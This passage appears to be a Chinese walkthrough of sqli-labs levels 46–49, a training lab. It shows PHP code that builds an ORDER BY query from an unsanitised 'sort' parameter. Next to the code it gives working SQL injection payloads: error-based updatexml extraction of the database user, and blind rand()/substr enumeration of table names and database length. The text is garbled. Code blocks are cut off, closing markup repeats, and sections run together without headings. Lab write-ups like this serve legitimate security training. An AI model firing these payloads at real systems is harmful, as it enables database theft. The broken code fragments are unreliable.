    • 第46关

    • 第48关
    • 第49关

    第46关

    代码如下：

<body bgcolor="#000000">

    $fp=fopen('result.txt','a');
    fwrite($fp,'SORT:'.$id."\n");
    fclose($fp);

    $sql = "SELECT * FROM users ORDER BY $id";
    $result = mysql_query($sql);

        {
        ?>

        <font color= "#00FF00" size="4">

        <table   border=1'>
        <tr>

            <th>&nbsp;USERNAME&nbsp;  </th>
            <th>&nbsp;PASSWORD&nbsp;  </th>
        </tr>
        </font>
        </font>
        <?php
        while ($row = mysql_fetch_assoc($result))
            {
            echo '<font color= "#00FF11" size="3">';        
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['username']."</td>";
                echo "<td>".$row['password']."</td>";
            echo "</tr>";
            echo "</font>";
            }    
        echo "</table>";

        }
        else
        {
        echo '<font color= "#FFFF00">';
        print_r(mysql_error());
        echo "</font>";  
        }
    }    
    else
    {
        echo "Please input parameter as SORT with numeric value<br><br><br><br>";
        echo "<br><br><br>";
        echo '<img src="../images/Less-46.jpg" /><br>';
        echo "Lesson Concept and code Idea by <b>D4rk</b>";
    }
?>


</font> </div></br></br></br>

</center> 
</body>
</html>

    查询语句是

    select * from users order by id=


    根据查询语句给出payload

    报错注入：http://127.0.0.1/sqli-labs-master/Less-46/?sort=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)
盲注：http://127.0.0.1/sqli-labs-master/Less-46/?sort=rand(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%22security%22%20limit%200,1),6,1)))
盲注时返回的数据不一样

    }
?>


</font> </div></br></br></br>

</center> 
</body>
</html>

    查询语句是：

    select * from users order by id='1'

    我们要闭合查询语句，注入语句如下：

    '' and updatexml(1,concat(0x7e,(select user()),0x7e),1)|'1

    第四十八关

    代码如下：

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    fwrite($fp,'SORT:'.$id."\n");
    fclose($fp);

    $sql = "SELECT * FROM users ORDER BY $id";
    $result = mysql_query($sql);
    if ($result)
        {
        ?>
        <center>
        <font color= "#00FF00" size="4">

        </font>
        <?php
        while ($row = mysql_fetch_assoc($result))
            {
            echo '<font color= "#00FF11" size="3">';        
            echo "<tr>";

            echo "</font>";
            }

        }
    }    
    else
    {
        echo "Please input parameter as SORT with numeric value<br><br><br><br>";
        echo "<br><br><br>";
        echo '<img src="../images/Less-47.jpg" /><br>';
        echo "Lesson Concept and code Idea by <b>D4rk</b>";
    }
?>


</font> </div></br></br></br>

</center>

    由于没有输出mysql报错，只能盲注了

    http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(length(database())=8)

    第四十九关

    }
?>


</font> </div></br></br></br>

    和第47关一样没有回显，只能使用盲注和延时注入
